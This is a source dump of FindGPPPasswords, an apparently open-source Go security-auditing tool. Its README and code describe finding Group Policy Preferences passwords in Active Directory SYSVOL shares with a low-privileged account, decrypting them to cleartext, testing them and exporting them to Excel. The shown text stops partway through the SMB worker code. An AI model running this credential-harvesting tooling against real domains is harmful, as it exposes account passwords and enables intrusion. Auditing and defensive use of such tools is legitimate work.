├── .github ├── FUNDING.yml ├── banner.png ├── example.png ├── example_test_credentials.png └── workflows │ ├── commit.yaml │ ├── release.yaml │ └── auto‐prefix‐issues.yml ├── core ├── config │ └── config.go ├── logger │ └── logger.go ├── windows │ ├── sAMAccountType.go │ └── UserAccountControl.go ├── utils │ └── utils.go ├── exporter │ └── excel.go ├── workers.go └── crypto │ └── grouppolicypreferencepasswords.go ├── .gitignore ├── go.mod ├── network ├── dns │ └── dns.go └── ldap │ ├── utils.go │ ├── sid.go │ └── ldap.go ├── README.md ├── main.go └── go.sum /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: TheManticoreProject 4 | -------------------------------------------------------------------------------- /.github/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheManticoreProject/FindGPPPasswords/HEAD/.github/banner.png -------------------------------------------------------------------------------- /.github/example.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheManticoreProject/FindGPPPasswords/HEAD/.github/example.png -------------------------------------------------------------------------------- /.github/example_test_credentials.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheManticoreProject/FindGPPPasswords/HEAD/.github/example_test_credentials.png -------------------------------------------------------------------------------- /core/config/config.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | type Config struct { 4 | // Credentials 5 | Credentials struct { 6 | Username string 7 | Domain string 8 | Password string 9 | DCIP string 10 | } 11 | // Network 12 | UseLdaps bool 13 | DnsNameServer string 14 | // General 15 | Threads int 16 | OutputDir string 17 | Debug bool 18 | } 19 | -------------------------------------------------------------------------------- /core/logger/logger.go: -------------------------------------------------------------------------------- 1 | package logger 2 | 3 | import ( 4 | "fmt" 5 | "time" 6 | ) 7 | 8 | func Info(message string) { 9 | Dateprintf("INFO: %s\n", message) 10 | } 11 | 12 | func Warn(message string) { 13 | Dateprintf("WARN: %s\n", message) 14 | } 15 | 16 | func Debug(message string) { 17 | Dateprintf("DEBUG: %s\n", message) 18 | } 19 | 20 | func Dateprintf(format string, message ...any) { 21 | currentTime := time.Now().Format("2006-01-02 15h04m05s") 22 | format = fmt.Sprintf("[%s] %s", currentTime, format) 23 | fmt.Printf(format, message...) 24 | } 25 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # If you prefer the allow list template instead of the deny list, see community template: 2 | # https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore 3 | # 4 | # Binaries for programs and plugins 5 | *.exe 6 | *.exe~ 7 | *.dll 8 | *.so 9 | *.dylib 10 | 11 | # Test binary, built with `go test -c` 12 | *.test 13 | 14 | # Output of the go coverage tool, specifically when used with LiteIDE 15 | *.out 16 | 17 | # Dependency directories (remove the comment below to include it) 18 | # vendor/ 19 | 20 | # Go workspace file 21 | go.work 22 | go.work.sum 23 | 24 | # env file 25 | .env 26 | 27 | # Builds dir 28 | ./bin/ 29 | -------------------------------------------------------------------------------- /core/windows/sAMAccountType.go: -------------------------------------------------------------------------------- 1 | package windows 2 | 3 | // sAMAccountType Values 4 | // Src: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/e742be45-665d-4576-b872-0bc99d1e1fbe 5 | const ( 6 | SAM_DOMAIN_OBJECT = 0x00000000 7 | SAM_GROUP_OBJECT = 0x10000000 8 | SAM_NON_SECURITY_GROUP_OBJECT = 0x10000001 9 | SAM_ALIAS_OBJECT = 0x20000000 10 | SAM_NON_SECURITY_ALIAS_OBJECT = 0x20000001 11 | SAM_USER_OBJECT = 0x30000000 12 | SAM_MACHINE_ACCOUNT = 0x30000001 13 | SAM_TRUST_ACCOUNT = 0x30000002 14 | SAM_APP_BASIC_GROUP = 0x40000000 15 | SAM_APP_QUERY_GROUP = 0x40000001 16 | ) 17 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module FindGPPPasswords 2 | 3 | go 1.22.1 4 | 5 | require ( 6 | github.com/go-ldap/ldap/v3 v3.4.10 7 | github.com/jfjallid/go-smb v0.5.7 8 | github.com/p0dalirius/goopts v1.0.0 9 | github.com/xuri/excelize/v2 v2.9.0 10 | github.com/zenazn/pkcs7pad v0.0.0-20170308005700-253a5b1f0e03 11 | ) 12 | 13 | require ( 14 | github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 // indirect 15 | github.com/go-asn1-ber/asn1-ber v1.5.7 // indirect 16 | github.com/google/uuid v1.6.0 // indirect 17 | github.com/jfjallid/gofork v1.7.6 // indirect 18 | github.com/jfjallid/gokrb5/v8 v8.4.4 // indirect 19 | github.com/jfjallid/golog v0.3.3 // indirect 20 | github.com/mohae/deepcopy v0.0.0-20170929034955-c48cc78d4826 // indirect 21 | github.com/richardlehane/mscfb v1.0.4 // indirect 22 | github.com/richardlehane/msoleps v1.0.4 // indirect 23 | github.com/xuri/efp v0.0.0-20241211021726-c4e992084aa6 // indirect 24 | github.com/xuri/nfp v0.0.0-20250111060730-82a408b9aa71 // indirect 25 | golang.org/x/crypto v0.32.0 // indirect 26 | golang.org/x/net v0.34.0 // indirect 27 | golang.org/x/text v0.21.0 // indirect 28 | ) 29 | -------------------------------------------------------------------------------- /.github/workflows/commit.yaml: -------------------------------------------------------------------------------- 1 | name: Build on commit 2 | 3 | on: 4 | push: 5 | branches: 6 | - '*' 7 | 8 | jobs: 9 | build: 10 | name: Build Release Assets 11 | runs-on: ubuntu-latest 12 | 13 | strategy: 14 | matrix: 15 | os: [linux, windows, darwin] 16 | arch: [amd64, arm64, 386] 17 | binaryname: [FindGPPPasswords] 18 | # Exclude incompatible couple of GOOS and GOARCH values 19 | exclude: 20 | - os: darwin 21 | arch: 386 22 | 23 | env: 24 | GO111MODULE: 'on' 25 | CGO_ENABLED: '0' 26 | 27 | steps: 28 | - name: Checkout Repository 29 | uses: actions/checkout@v3 30 | 31 | - name: Set up Go 32 | uses: actions/setup-go@v4 33 | with: 34 | go-version: '1.22.1' 35 | 36 | - name: Build Binary 37 | env: 38 | GOOS: ${{ matrix.os }} 39 | GOARCH: ${{ matrix.arch }} 40 | run: | 41 | mkdir -p build 42 | OUTPUT_PATH="../build/${{ matrix.binaryname }}-${{ matrix.os }}-${{ matrix.arch }}" 43 | # Build the binary 44 | go build -ldflags="-s -w" -o $OUTPUT_PATH${{ matrix.os == 'windows' && '.exe' || '' }} 45 | -------------------------------------------------------------------------------- /core/windows/UserAccountControl.go: -------------------------------------------------------------------------------- 1 | package windows 2 | 3 | // UserAccountControl 4 | // Src: https://learn.microsoft.com/en-us/troubleshoot/windows-server/active-directory/useraccountcontrol-manipulate-account-properties 5 | const ( 6 | UAF_SCRIPT = 0x00000001 7 | UAF_ACCOUNT_DISABLED = 0x00000002 8 | UAF_HOMEDIR_REQUIRED = 0x00000008 9 | UAF_LOCKOUT = 0x00000010 10 | UAF_PASSWD_NOTREQD = 0x00000020 11 | UAF_PASSWD_CANT_CHANGE = 0x00000040 12 | UAF_ENCRYPTED_TEXT_PWD_ALLOWED = 0x00000080 13 | UAF_TEMP_DUPLICATE_ACCOUNT = 0x00000100 14 | UAF_NORMAL_ACCOUNT = 0x00000200 15 | UAF_INTERDOMAIN_TRUST_ACCOUNT = 0x00000800 16 | UAF_WORKSTATION_TRUST_ACCOUNT = 0x00001000 17 | UAF_SERVER_TRUST_ACCOUNT = 0x00002000 18 | UAF_DONT_EXPIRE_PASSWORD = 0x00010000 19 | UAF_MNS_LOGON_ACCOUNT = 0x00020000 20 | UAF_SMARTCARD_REQUIRED = 0x00040000 21 | UAF_TRUSTED_FOR_DELEGATION = 0x00080000 22 | UAF_NOT_DELEGATED = 0x00100000 23 | UAF_USE_DES_KEY_ONLY = 0x00200000 24 | UAF_DONT_REQ_PREAUTH = 0x00400000 25 | UAF_PASSWORD_EXPIRED = 0x00800000 26 | UAF_TRUSTED_TO_AUTH_FOR_DELEGATION = 0x01000000 27 | UAF_PARTIAL_SECRETS_ACCOUNT = 0x04000000 28 | ) 29 | -------------------------------------------------------------------------------- /network/dns/dns.go: -------------------------------------------------------------------------------- 1 | package dns 2 | 3 | import ( 4 | "context" 5 | "net" 6 | "strings" 7 | "time" 8 | ) 9 | 10 | // DNSLookup performs a DNS lookup of a hostname (FQDN or hostname) to a specified DNS server. 11 | func DNSLookup(hostname string, dnsServer string) []string { 12 | if !strings.Contains(dnsServer, ":") { 13 | dnsServer = dnsServer + ":53" 14 | } 15 | 16 | r := &net.Resolver{ 17 | PreferGo: true, 18 | Dial: func(ctx context.Context, network, address string) (net.Conn, error) { 19 | d := net.Dialer{ 20 | Timeout: time.Millisecond * time.Duration(5000), 21 | } 22 | return d.DialContext(ctx, network, dnsServer) 23 | }, 24 | } 25 | ip, _ := r.LookupHost(context.Background(), hostname) 26 | 27 | return ip 28 | } 29 | 30 | // // Search for DNS servers in the domain 31 | // dnsServers := ldap.GetDomainDNSServers(ldapSession) 32 | // if len(dnsServers) != 0 { 33 | // if config.Debug { 34 | // if config.Debug { 35 | // logger.Debug(fmt.Sprintf("Found DNS servers (%d):", len(dnsServers))) 36 | // } 37 | // for _, distinguishedName := range dnsServers { 38 | // if config.Debug { 39 | // logger.Debug(fmt.Sprintf("| %s", distinguishedName)) 40 | // } 41 | // } 42 | // } 43 | // } else { 44 | // dnsServers = []string{} 45 | // dnsServers = append(dnsServers, ldap.GetPrincipalDomainController(ldapSession, config.Credentials.Domain)) 46 | // } 47 | -------------------------------------------------------------------------------- /.github/workflows/release.yaml: -------------------------------------------------------------------------------- 1 | name: Build and Release 2 | 3 | on: 4 | release: 5 | types: [published] 6 | 7 | jobs: 8 | build: 9 | name: Build Release Assets 10 | runs-on: ubuntu-latest 11 | 12 | strategy: 13 | matrix: 14 | os: [linux, windows, darwin] 15 | arch: [amd64, arm64, 386] 16 | binaryname: [FindGPPPasswords] 17 | # Exclude incompatible couple of GOOS and GOARCH values 18 | exclude: 19 | - os: darwin 20 | arch: 386 21 | 22 | env: 23 | GO111MODULE: 'on' 24 | CGO_ENABLED: '0' 25 | 26 | steps: 27 | - name: Checkout Repository 28 | uses: actions/checkout@v3 29 | 30 | - name: Set up Go 31 | uses: actions/setup-go@v4 32 | with: 33 | go-version: '1.22.1' 34 | 35 | - name: Build Binary 36 | env: 37 | GOOS: ${{ matrix.os }} 38 | GOARCH: ${{ matrix.arch }} 39 | run: | 40 | mkdir -p bin 41 | OUTPUT_PATH="../build/${{ matrix.binaryname }}-${{ matrix.os }}-${{ matrix.arch }}" 42 | # Build the binary 43 | go build -ldflags="-s -w" -o $OUTPUT_PATH${{ matrix.os == 'windows' && '.exe' || '' }} 44 | 45 | - name: Prepare Release Assets 46 | if: ${{ success() }} 47 | run: | 48 | mkdir -p ./release/ 49 | cp ./build/${{ matrix.binaryname }}-* ./release/ 50 | 51 | - name: Upload the Release binaries 52 | uses: svenstaro/upload-release-action@v2 53 | with: 54 | repo_token: ${{ secrets.GITHUB_TOKEN }} 55 | tag: ${{ github.ref }} 56 | file: ./release/${{ matrix.binaryname }}-* 57 | file_glob: true 58 | -------------------------------------------------------------------------------- /core/utils/utils.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "bytes" 5 | "encoding/json" 6 | "fmt" 7 | "os" 8 | ) 9 | 10 | type JSONString string 11 | 12 | // https://stackoverflow.com/a/53098314 13 | 14 | func (c JSONString) MarshalJSON() ([]byte, error) { 15 | var buf bytes.Buffer 16 | if len(string(c)) == 0 { 17 | buf.WriteString(`null`) 18 | } else { 19 | buf.WriteString(`"` + string(c) + `"`) // add double quation mark as json format required 20 | } 21 | return buf.Bytes(), nil 22 | } 23 | 24 | func (c *JSONString) UnmarshalJSON(in []byte) error { 25 | str := string(in) 26 | if str == `null` { 27 | *c = "" 28 | return nil 29 | } 30 | res := JSONString(str) 31 | if len(res) >= 2 { 32 | res = res[1 : len(res)-1] // remove the wrapped qutation 33 | } 34 | *c = res 35 | return nil 36 | } 37 | 38 | // Files IO 39 | 40 | func WriteJSONToFile(filename string, data interface{}) error { 41 | file, err := os.Create(filename) 42 | if err != nil { 43 | return err 44 | } 45 | defer file.Close() 46 | 47 | encoder := json.NewEncoder(file) 48 | encoder.SetIndent("", " ") 49 | return encoder.Encode(data) 50 | } 51 | 52 | func PadStringRight(input string, padChar string, length int) string { 53 | input += " " 54 | if len(input) < length { 55 | for range length - len(input) { 56 | input += padChar 57 | } 58 | } 59 | 60 | return input 61 | } 62 | 63 | func FormatSize(size uint64) string { 64 | KiB := uint64(1024) 65 | MiB := KiB * 1024 66 | GiB := MiB * 1024 67 | 68 | switch { 69 | case size >= GiB: 70 | return fmt.Sprintf("%.2f GiB", float64(size)/float64(GiB)) 71 | case size >= MiB: 72 | return fmt.Sprintf("%.2f MiB", float64(size)/float64(MiB)) 73 | case size >= KiB: 74 | return fmt.Sprintf("%.2f KiB", float64(size)/float64(KiB)) 75 | default: 76 | return fmt.Sprintf("%d bytes", size) 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /network/ldap/utils.go: -------------------------------------------------------------------------------- 1 | package ldap 2 | 3 | import ( 4 | "fmt" 5 | "strconv" 6 | "strings" 7 | "time" 8 | ) 9 | 10 | const UnixTimestampStart int64 = 116444736000000000 // Monday, January 1, 1601 12:00:00 AM 11 | 12 | func GetDomainFromDistinguishedName(distinguishedName string) string { 13 | domainParts := strings.Split(distinguishedName, ",") 14 | 15 | domain := "" 16 | for _, part := range domainParts { 17 | if strings.HasPrefix(part, "DC=") { 18 | domain += strings.TrimPrefix(part, "DC=") + "." 19 | } 20 | } 21 | 22 | domain = strings.TrimSuffix(domain, ".") 23 | 24 | return domain 25 | } 26 | 27 | func ConvertLDAPTimeStampToUnixTimeStamp(value string) int64 { 28 | convertedValue := int64(0) 29 | 30 | if len(value) != 0 { 31 | valueInt, err := strconv.ParseInt(value, 10, 64) 32 | 33 | if err != nil { 34 | fmt.Printf("[!] Error converting value to int64: %s\n", err) 35 | return convertedValue 36 | } 37 | 38 | if valueInt < UnixTimestampStart { 39 | // Typically for dates on year 1601 40 | convertedValue = 0 41 | } else { 42 | delta := int64((valueInt - UnixTimestampStart) * 100) 43 | convertedValue = int64(time.Unix(0, delta).Unix()) 44 | } 45 | } 46 | 47 | return convertedValue 48 | } 49 | 50 | func ConvertLDAPDurationToSeconds(value string) int64 { 51 | convertedValue := int64(0) 52 | 53 | if len(value) != 0 { 54 | valueInt, err := strconv.ParseInt(value, 10, 64) 55 | if err != nil { 56 | fmt.Printf("[!] Error converting value to int64: %s\n", err) 57 | return convertedValue 58 | } 59 | 60 | if valueInt < 0 { 61 | valueInt = valueInt * int64(-1) 62 | } 63 | 64 | // Convert intervals of 100-nanoseconds to Seconds 65 | convertedValue = valueInt / int64(1e7) 66 | } 67 | 68 | return convertedValue 69 | } 70 | 71 | func ConvertSecondsToLDAPDuration(value int64) string { 72 | convertedValue := fmt.Sprintf("%d", value*int64(1e7)) 73 | return convertedValue 74 | } 75 | 76 | func ConvertUnixTimeStampToLDAPTimeStamp(value time.Time) int64 { 77 | ldapvalue := value.Unix() * (1e7) 78 | ldapvalue = ldapvalue + UnixTimestampStart 79 | return int64(ldapvalue) 80 | } 81 | -------------------------------------------------------------------------------- /network/ldap/sid.go: -------------------------------------------------------------------------------- 1 | package ldap 2 | 3 | import ( 4 | "encoding/binary" 5 | "fmt" 6 | "strings" 7 | ) 8 | 9 | // ParseSIDFromBytes parses raw bytes representing an SID and returns the SID string 10 | func ParseSIDFromBytes(sidBytes []byte) string { 11 | debug := false 12 | 13 | // Ensure the SID has a valid format 14 | if len(sidBytes) < 8 || sidBytes[0] != 1 { 15 | return "" 16 | } 17 | 18 | // Extract revisionLevel 19 | revisionLevel := int(sidBytes[0]) 20 | if debug { 21 | fmt.Printf("revisionLevel = 0x%02x\n", revisionLevel) 22 | fmt.Println(sidBytes[1:]) 23 | } 24 | // Extract subAuthorityCount 25 | subAuthorityCount := int(sidBytes[1]) 26 | if debug { 27 | fmt.Printf("subAuthorityCount = 0x%02x\n", subAuthorityCount) 28 | fmt.Println(sidBytes[2:]) 29 | } 30 | 31 | // Extract identifierAuthority 32 | identifierAuthority := uint64(sidBytes[2+0]) << 40 33 | identifierAuthority |= uint64(sidBytes[2+1]) << 32 34 | identifierAuthority |= uint64(sidBytes[2+2]) << 24 35 | identifierAuthority |= uint64(sidBytes[2+3]) << 16 36 | identifierAuthority |= uint64(sidBytes[2+4]) << 8 37 | identifierAuthority |= uint64(sidBytes[2+5]) 38 | if debug { 39 | fmt.Printf("identifierAuthority = 0x%08x\n", identifierAuthority) 40 | fmt.Println(sidBytes[8:]) 41 | } 42 | 43 | // Extract subAuthorities 44 | subAuthorities := make([]string, 0) 45 | for k := 0; k < subAuthorityCount-1; k++ { 46 | subAuthority := binary.LittleEndian.Uint32(sidBytes[8+(4*k):]) 47 | subAuthorities = append(subAuthorities, fmt.Sprintf("%d", subAuthority)) 48 | if debug { 49 | fmt.Printf("subAuthority = 0x%08x\n", subAuthority) 50 | fmt.Println(sidBytes[8+(4*k):]) 51 | } 52 | } 53 | 54 | // Parse the relativeIdentifier 55 | relativeIdentifier := binary.LittleEndian.Uint32(sidBytes[8+((subAuthorityCount-1)*4):]) 56 | if debug { 57 | fmt.Printf("relativeIdentifier = 0x%08x\n", relativeIdentifier) 58 | fmt.Println(sidBytes[8+((subAuthorityCount-1)*4):]) 59 | } 60 | 61 | // Construct the parsed SID 62 | parsedSID := fmt.Sprintf("S-%d-%d-%s-%d", revisionLevel, identifierAuthority, strings.Join(subAuthorities, "-"), relativeIdentifier) 63 | 64 | return parsedSID 65 | } 66 | -------------------------------------------------------------------------------- /.github/workflows/auto‐prefix‐issues.yml: -------------------------------------------------------------------------------- 1 | name: Auto‑prefix & Label Issues 2 | 3 | on: 4 | issues: 5 | types: [opened, edited] 6 | schedule: 7 | - cron: '0 0 * * *' # every day at midnight UTC 8 | 9 | jobs: 10 | prefix_and_label: 11 | runs-on: ubuntu-latest 12 | steps: 13 | - name: Ensure labels exist, then prefix titles & add labels 14 | uses: actions/github-script@v6 15 | with: 16 | script: | 17 | const owner = context.repo.owner; 18 | const repo = context.repo.repo; 19 | 20 | // 1. Ensure required labels exist 21 | const required = [ 22 | { name: 'bug', color: 'd73a4a', description: 'Something isn\'t working' }, 23 | { name: 'enhancement', color: 'a2eeef', description: 'New feature or request' } 24 | ]; 25 | 26 | // Fetch current labels in the repo 27 | const { data: existingLabels } = await github.rest.issues.listLabelsForRepo({ 28 | owner, repo, per_page: 100 29 | }); 30 | const existingNames = new Set(existingLabels.map(l => l.name)); 31 | 32 | // Create any missing labels 33 | for (const lbl of required) { 34 | if (!existingNames.has(lbl.name)) { 35 | await github.rest.issues.createLabel({ 36 | owner, 37 | repo, 38 | name: lbl.name, 39 | color: lbl.color, 40 | description: lbl.description 41 | }); 42 | console.log(`Created label "${lbl.name}"`); 43 | } 44 | } 45 | 46 | // 2. Fetch all open issues 47 | const issues = await github.paginate( 48 | github.rest.issues.listForRepo, 49 | { owner, repo, state: 'open', per_page: 100 } 50 | ); 51 | 52 | // 3. Keyword sets 53 | const enhancementWords = ["add", "added", "improve", "improved"]; 54 | const bugWords = ["bug", "error", "problem", "crash", "failed", "fix", "fixed"]; 55 | 56 | // 4. Process each issue 57 | for (const issue of issues) { 58 | const origTitle = issue.title; 59 | const lower = origTitle.toLowerCase(); 60 | 61 | // skip if already prefixed 62 | if (/^\[(bug|enhancement)\]/i.test(origTitle)) continue; 63 | 64 | let prefix, labelToAdd; 65 | if (enhancementWords.some(w => lower.includes(w))) { 66 | prefix = "[enhancement]"; 67 | labelToAdd = "enhancement"; 68 | } else if (bugWords.some(w => lower.includes(w))) { 69 | prefix = "[bug]"; 70 | labelToAdd = "bug"; 71 | } 72 | 73 | if (prefix) { 74 | // update title 75 | await github.rest.issues.update({ 76 | owner, repo, issue_number: issue.number, 77 | title: `${prefix} ${origTitle}` 78 | }); 79 | console.log(`Prefixed title of #${issue.number}`); 80 | 81 | // add label 82 | await github.rest.issues.addLabels({ 83 | owner, repo, issue_number: issue.number, 84 | labels: [labelToAdd] 85 | }); 86 | console.log(`Added label "${labelToAdd}" to #${issue.number}`); 87 | } 88 | } 89 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![](./.github/banner.png) 2 | 3 |

4 | A cross-platform tool to find and decrypt Group Policy Preferences passwords from the SYSVOL share using low-privileged domain accounts. 5 |
6 | Build and Release 7 | GitHub release (latest by date) 8 | Go Report Card 9 | 10 | YouTube Channel Subscribers 11 |
12 |

13 | 14 | 15 | ## Features 16 | 17 | - [x] Only requires a **low privileges domain user account**. 18 | - [x] Automatically gets the list of all domain controllers from the LDAP. 19 | - [x] Finds all the Group Policy Preferences Passwords present in SYSVOL share on each domain controller. 20 | - [x] Decrypts the passwords and prints them in cleartext. 21 | - [x] Outputs to a Excel file with option `--export-xlsx `. 22 | - [x] Option to test the credentials of the found GPP passwords with the `--test-credentials` option. 23 | - [x] Multi-threaded mode with option `--threads `. 24 | 25 | ## Demonstration 26 | 27 | By default, the tool will only find the GPP passwords and print them in cleartext: 28 | 29 | ```bash 30 | ./FindGPPPasswords-linux-amd64 --domain --username --password 31 | ``` 32 | 33 | ![](./.github/example.png) 34 | 35 | There is also the possibility to test the credentials of the found GPP passwords with the `--test-credentials` option. 36 | 37 | ```bash 38 | ./FindGPPPasswords-linux-amd64 --test-credentials --domain --username --password 39 | ``` 40 | 41 | ![](./.github/example_test_credentials.png) 42 | 43 | ## Usage 44 | 45 | ``` 46 | $ ./FindGPPPasswords -h 47 | FindGPPPasswords - by Remi GASCOU (Podalirius) @ TheManticoreProject - v1.2 48 | 49 | Usage: FindGPPPasswords [--quiet] [--debug] [--no-colors] [--export-xlsx ] [--test-credentials] --domain --username [--password ] [--hashes ] [--threads ] [--nameserver ] --dc-ip [--ldap-port ] [--use-ldaps] 50 | 51 | -q, --quiet Show no information at all. (default: false) 52 | -d, --debug Debug mode. (default: false) 53 | -nc, --no-colors No colors mode. (default: false) 54 | 55 | Additional Options: 56 | -x, --export-xlsx Path to output Excel file. (default: "") 57 | -tc, --test-credentials Test credentials. (default: false) 58 | 59 | Authentication: 60 | -d, --domain Active Directory domain to authenticate to. 61 | -u, --username User to authenticate as. 62 | -p, --password Password to authenticate with. (default: "") 63 | -H, --hashes NT/LM hashes, format is LMhash:NThash. (default: "") 64 | -T, --threads Number of threads to use. (default: 0) 65 | 66 | DNS Settings: 67 | -ns, --nameserver IP Address of the DNS server to use in the queries. If omitted, it will use the IP of the domain controller specified in the -dc parameter. (default: "") 68 | 69 | LDAP Connection Settings: 70 | -dc, --dc-ip IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted, it will use the domain part (FQDN) specified in the identity parameter. 71 | -lp, --ldap-port Port number to connect to LDAP server. (default: 389) 72 | -L, --use-ldaps Use LDAPS instead of LDAP. (default: false) 73 | 74 | ``` 75 | 76 | ## Contributing 77 | 78 | Pull requests are welcome. Feel free to open an issue if you want to add other features. 79 | 80 | ## Credits 81 | - [Remi GASCOU (Podalirius)](https://github.com/p0dalirius) for the creation of the [FindGPPPasswords](https://github.com/p0dalirius/FindGPPPasswords) project before transferring it to TheManticoreProject. -------------------------------------------------------------------------------- /core/exporter/excel.go: -------------------------------------------------------------------------------- 1 | package exporter 2 | 3 | import ( 4 | "FindGPPPasswords/core/config" 5 | "FindGPPPasswords/core/crypto" 6 | "FindGPPPasswords/core/logger" 7 | "path" 8 | 9 | "fmt" 10 | "os" 11 | "path/filepath" 12 | "strings" 13 | 14 | "github.com/xuri/excelize/v2" 15 | ) 16 | 17 | func GetExcelCellID(rowNumber int, columnNumber int) string { 18 | alphabet := "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 19 | columnID := "" 20 | 21 | for columnNumber > 0 { 22 | remainder := columnNumber % 26 23 | if remainder == 0 { 24 | columnID = "Z" + columnID 25 | columnNumber = (columnNumber / 26) - 1 26 | } else { 27 | columnID = string(alphabet[remainder-1]) + columnID 28 | columnNumber = columnNumber / 26 29 | } 30 | } 31 | 32 | return columnID + fmt.Sprintf("%d", rowNumber) 33 | } 34 | 35 | func GenerateExcel(gpppfound crypto.GroupPolicyPreferencePasswordsFound, config config.Config, outputFile string) { 36 | domain := strings.ToUpper(config.Credentials.Domain) 37 | 38 | if len(gpppfound.Entries) != 0 { 39 | pathToFile := path.Join(config.OutputDir, "GroupPolicyPasswords.xlsx") 40 | if len(outputFile) != 0 { 41 | pathToFile = config.OutputDir + outputFile 42 | } 43 | 44 | logger.Info(fmt.Sprintf("| Generating Excel file '%s'", pathToFile)) 45 | 46 | // Create dir if not exists 47 | if _, err := os.Stat(pathToFile); os.IsNotExist(err) { 48 | if err := os.MkdirAll(filepath.Dir(pathToFile), 0755); err != nil { 49 | fmt.Println(err) 50 | } 51 | } 52 | 53 | f := excelize.NewFile() 54 | 55 | // Create styles 56 | styleHeader, err := f.NewStyle( 57 | &excelize.Style{ 58 | Border: []excelize.Border{ 59 | {Type: "left", Color: "000000", Style: 1}, 60 | {Type: "top", Color: "000000", Style: 1}, 61 | {Type: "bottom", Color: "000000", Style: 1}, 62 | {Type: "right", Color: "000000", Style: 1}, 63 | }, 64 | Fill: excelize.Fill{ 65 | Type: "pattern", 66 | Color: []string{"D3D3D3"}, 67 | Pattern: 1, 68 | }, 69 | Font: &excelize.Font{ 70 | Bold: true, 71 | }, 72 | }, 73 | ) 74 | if err != nil { 75 | if config.Debug { 76 | logger.Debug(fmt.Sprintf("Error creating styleHeader: %s", err)) 77 | } 78 | } 79 | 80 | styleBorder, err := f.NewStyle( 81 | &excelize.Style{ 82 | Border: []excelize.Border{ 83 | {Type: "left", Color: "000000", Style: 1}, 84 | {Type: "top", Color: "000000", Style: 1}, 85 | {Type: "bottom", Color: "000000", Style: 1}, 86 | {Type: "right", Color: "000000", Style: 1}, 87 | }, 88 | }, 89 | ) 90 | if err != nil { 91 | if config.Debug { 92 | logger.Debug(fmt.Sprintf("Error creating styleBorder: %s", err)) 93 | } 94 | } 95 | 96 | // Create a new sheet. 97 | sheetIndex, err := f.NewSheet(domain) 98 | if err != nil { 99 | if config.Debug { 100 | logger.Debug(fmt.Sprintf("Error creating sheet: %s", err)) 101 | } 102 | } else { 103 | // Create headers 104 | attributes := []string{"Username", "NewName", "Password", "Path"} 105 | for columnID, attr := range attributes { 106 | f.SetCellValue(domain, GetExcelCellID(1, columnID+1), attr) 107 | f.SetCellStyle(domain, GetExcelCellID(1, columnID+1), GetExcelCellID(1, columnID+1), styleHeader) 108 | } 109 | 110 | rowID := 0 111 | for path, cpasswordentries := range gpppfound.Entries { 112 | columnID := 0 113 | for _, cpasswordentry := range cpasswordentries { 114 | // 115 | f.SetCellValue(domain, GetExcelCellID(rowID+2, columnID+1), cpasswordentry.UserName) 116 | f.SetCellStyle(domain, GetExcelCellID(rowID+2, columnID+1), GetExcelCellID(rowID+2, columnID+1), styleBorder) 117 | columnID += 1 118 | 119 | f.SetCellValue(domain, GetExcelCellID(rowID+2, columnID+1), cpasswordentry.NewName) 120 | f.SetCellStyle(domain, GetExcelCellID(rowID+2, columnID+1), GetExcelCellID(rowID+2, columnID+1), styleBorder) 121 | columnID += 1 122 | 123 | f.SetCellValue(domain, GetExcelCellID(rowID+2, columnID+1), cpasswordentry.Password) 124 | f.SetCellStyle(domain, GetExcelCellID(rowID+2, columnID+1), GetExcelCellID(rowID+2, columnID+1), styleBorder) 125 | columnID += 1 126 | 127 | f.SetCellValue(domain, GetExcelCellID(rowID+2, columnID+1), path) 128 | f.SetCellStyle(domain, GetExcelCellID(rowID+2, columnID+1), GetExcelCellID(rowID+2, columnID+1), styleBorder) 129 | columnID += 1 130 | } 131 | rowID += 1 132 | } 133 | 134 | } 135 | 136 | // Set active sheet of the workbook. 137 | f.SetActiveSheet(sheetIndex) 138 | // Save xlsx file by the given path. 139 | if err := f.SaveAs(pathToFile); err != nil { 140 | logger.Warn(fmt.Sprintf("Error saving file '%s': %s", pathToFile, err)) 141 | } 142 | 143 | if config.Debug { 144 | logger.Info("| Successfully generated Excel file 'GroupPolicyPasswords.xlsx'") 145 | } 146 | } 147 | } 148 | -------------------------------------------------------------------------------- /core/workers.go: -------------------------------------------------------------------------------- 1 | package core 2 | 3 | import ( 4 | "FindGPPPasswords/core/config" 5 | "FindGPPPasswords/core/crypto" 6 | "FindGPPPasswords/core/logger" 7 | "FindGPPPasswords/network/dns" 8 | "fmt" 9 | "sync" 10 | "time" 11 | 12 | ldapv3 "github.com/go-ldap/ldap/v3" 13 | "github.com/jfjallid/go-smb/smb" 14 | "github.com/jfjallid/go-smb/spnego" 15 | ) 16 | 17 | // SMBListFilesRecursivelyAndCallback lists files recursively in a given directory on an SMB share and executes a callback function for each file found. 18 | // 19 | // Parameters: 20 | // - session: an active SMB connection. 21 | // - share: the name of the SMB share to connect to. 22 | // - dir: the directory within the share to start listing files from. 23 | // - callback: a function to be called for each file found. The callback function takes the SMB connection, the share name, and the file path as arguments and returns an error. 24 | // 25 | // Returns: 26 | // - err: an error if any occurs during the process. 27 | // 28 | // The function performs the following steps: 29 | // 1. Connects to the specified SMB share. 30 | // 2. Lists files in the specified directory. 31 | // 3. Recursively explores subdirectories and applies the callback function to each file found. 32 | // 33 | // If the function encounters an error while connecting to the share or listing files, it logs the error and returns it. If access to a directory is denied, it logs the error and continues processing other directories. 34 | func SMBListFilesRecursivelyAndCallback(session *smb.Connection, share string, dir string, callback func(*smb.Connection, string, string) error) (err error) { 35 | DEBUG := false 36 | 37 | // Connect to share 38 | err = session.TreeConnect(share) 39 | if err != nil { 40 | if err == smb.StatusMap[smb.StatusBadNetworkName] { 41 | if DEBUG { 42 | 